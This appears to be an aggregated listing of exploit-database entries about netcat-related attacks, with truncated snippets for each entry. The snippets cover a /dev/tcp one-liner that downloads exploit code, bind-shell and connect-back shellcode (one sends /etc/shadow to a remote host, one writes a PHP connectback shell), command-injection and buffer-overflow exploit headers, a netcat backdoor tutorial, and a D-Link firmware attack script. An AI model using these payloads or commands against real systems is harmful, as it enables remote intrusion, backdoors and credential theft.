Unfixed XSS vulnerability at nc-designs.co.uk

Security researcher trueliarx, has submitted on 20/04/2010 a cross-site-scripting XSS vulnerability affecting nc-designs.co.uk, which at the time of submission ranked 1627525 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 06/07/2010. It is...

No wget,and nc, download file a trick-vulnerability warning-the black bar safety net

Suppose you want to download exec 5/dev/tcp/192.168.182.1/8 0 &&echo-e "GET /exp. c HTTP/1.0\n" &5 && cat&5 exp. c Of course, the http header you have to yourself remove the Of course, you use nc-l-p 8 0 exp. c it is not so troublesome...

Oracle Secure Backup login.php ora_osb_lcookie command execution

Added: 06/22/2009 CVE: CVE-2008-4006 BID: 33177 OSVDB: 51343 Background Oracle Secure Backup is a centralized tape backup management solution for Oracle Database. Problem A command execution vulnerability in the Oracle Secure Backup web interface allows remote attackers to execute arbitrary...

linux/x86 Bind ASM Code Linux 179 bytes

linux/x86 Bind ASM Code Linux 179 bytes.. Shellcode exploit for linx86 platform ; ; Title : Bind asm code Linux x86 - 179 bytes ; IP : 0.0.0.0 ; Port : 8000 ; ; ; Use : nc localhost 8000 ; id ; uid=0root gid=0root groupes=0root ; ; ; Author : Jonathan Salwan ; Mail : submit AT shell-storm.org ; W...

NC GBook 1.0 Command Injection

-------------------------------------------------------------- NC GBook 1.0 Remote Command injection Exploit --------------------------------------------------------------- Founder :ThE g0bL!N Vendor:http://www.php-gaestebuch.com Thank You Very Much His0k4...

NC LinkList 1.3.1 Remote Command Injection Exploit

No description provided by source. -------------------------------------------------------------- NC LinkList 1.3.1 Remote Command injection Exploit --------------------------------------------------------------- Founder :ThE g0bL!N Vendor:http://www.php-linkverzeichnis.de Thank You Very Much...

NC LinkList 1.3.1 - Remote Command Injection

NC LinkList 1.3.1 - Remote Command Injection -------------------------------------------------------------- NC LinkList 1.3.1 Remote Command injection Exploit --------------------------------------------------------------- Founder :ThE g0bL!N Vendor:http://www.php-linkverzeichnis.de Thank You Ver...

NC GBook 1.0 - Remote Command Injection

-------------------------------------------------------------- NC GBook 1.0 Remote Command injection Exploit --------------------------------------------------------------- Founder :ThE g0bL!N Vendor:http://www.php-gaestebuch.com Thank You Very Much His0k4...

Check Point Firewall-1 - PKI Web Service HTTP Header Remote Overflow

Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow - Description The Check Point Firewall-1 PKI Web Service, running by default on TCP port 18264, is vulnerable to a remote overflow in the handling of very long HTTP headers. This was discovered during a pen-test where the client...

Oracle Secure Backup login.php rbtool command injection

Added: 01/20/2009 CVE: CVE-2008-5448 BID: 33177 OSVDB: 51342 Background Oracle Secure Backup is a centralized tape backup management solution for Oracle Database. Problem A command injection vulnerability in the Oracle Secure Backup web interface allows a remote attacker to execute arbitrary...

The use of the saber NC to create a simple Backdoor-vulnerability warning-the black bar safety net

We all know nc is a powerful and flexible hacking tools, he can do many things, such as a telnet client port, such as the invasion of time to bounce back the shell, such as scanning...... But have you ever wondered will he build into a service-level Backdoor? Now much better with me as the rookie...

VideoLAN VLC Media Player 0.8.6i - Mms Protocol Handling Heap Overflow (PoC)

VideoLAN VLC Media Player 0.8.6i - Mms Protocol Handling Heap Overflow PoC -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - Orange Bat advisory - Name : VLC 0.8.6i MMS Protocol Handling Class : Heap Overflow Published : 2008-08-24 Credit : g g orange-bat com - - Details - This can be exploited...

linux/x86 writes a php connectback shell to the fs 508 bytes

No description provided by source. include stdlib.h / Grayscale Research: Linux Write FS PHP Connect Back Utility Shellcode Function: Opens /var/www/cb.php and writes a php connectback shell to the filesystem. Shellcode Size: 508 bytes No Encodings PHP Shell Usage: // victim...

linux/x86 connect back.send.exit /etc/shadow 155 bytes

Exploit for linux/x86 platform in category shellcode ====================================================== linux/x86 connect back.send.exit /etc/shadow 155 bytes ====================================================== ; CoDed by 0in ; Dark-Coders Group Productions ; Linux x86 connect back&send&ex...

eStara Softphone <= 3.0.1.46 (SIP) Remote Buffer Overflow Exploit

No description provided by source. / eStara Softphone buffer overflow exploit tested on : eStara Softphone 3.0.1.14 |||||| eStara Softphone 3.0.1.46 Vender website : http://www.estara.com/softphone/softph.exe Run this application, then use nc to send builded packet : nc -u 127.0.0.1 5060...

IGSuite 3.2.4 - Reverse Shell / Blind SQL Injection

!/usr/bin/perl 05/18/2008 - IGSuite 3.2.4 Blind SQL Injection - ksOSe 05/21/2008 - Vendor notified 05/23/2008 - A patch was pushed via the igsuited daemonnot enabled by default Fix: run igsuited --update-igsuite or upgrade to 3.2.5-beta. Tested on IGSuite 3.2.4 on linux with MySQL, needs ncin pat...

IGSuite 3.2.4 - Reverse Shell Blind SQL Injection

IGSuite 3.2.4 - Reverse Shell Blind SQL Injection !/usr/bin/perl 05/18/2008 - IGSuite 3.2.4 Blind SQL Injection - ksOSe 05/21/2008 - Vendor notified 05/23/2008 - A patch was pushed via the igsuited daemonnot enabled by default Fix: run igsuited --update-igsuite or upgrade to 3.2.5-beta. Tested on...

Apache Tomcat Connector jk2-2.0.2 mod_jk2 - Remote Overflow

/ Fedora Core 6,7,8 exec-shield based Apache Tomcat Connector jk2-2.0.2modjk2 remote overflow exploit by INetCop Security Advanced exploitation in exec-shield Fedora Core case study URL: http://www.milw0rm.com/papers/151 IOActive Security Advisory: http://www.securityfocus.com/archive/1/487983...

Remotely Anywhere 'Accept-Charset'字符NULL指针拒绝服务漏洞

BUGTRAQ ID: 28175 CNCAN ID:CNCAN-2008031103 Remotely Anywhere是一款远程管理软件。 Remotely Anywhere不正确处理特殊构建的HTTP请求，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。 提交包含非法Accept-Charset参数的HTTP请求，可导致NULL指针引用而导致应用程序崩溃，造成拒绝服务攻击。 RemotelyAnywhere RemotelyAnywhere Workstation Edition 8.0.668 RemotelyAnywhere RemotelyAnywhere Server...

dlink.txt

!/bin/bash Coded Bt Ph3mt Of K-Security Team This Code is private, pls do not redistribute Release Date 25/11/2007 Code function dow echo 'POST /cgi-bin/firmwarecfg HTTP/1.1' richiesta echo 'Host: $IP' richiesta echo 'User-Agent: veryprivateacsor' richiesta echo 'Accept:...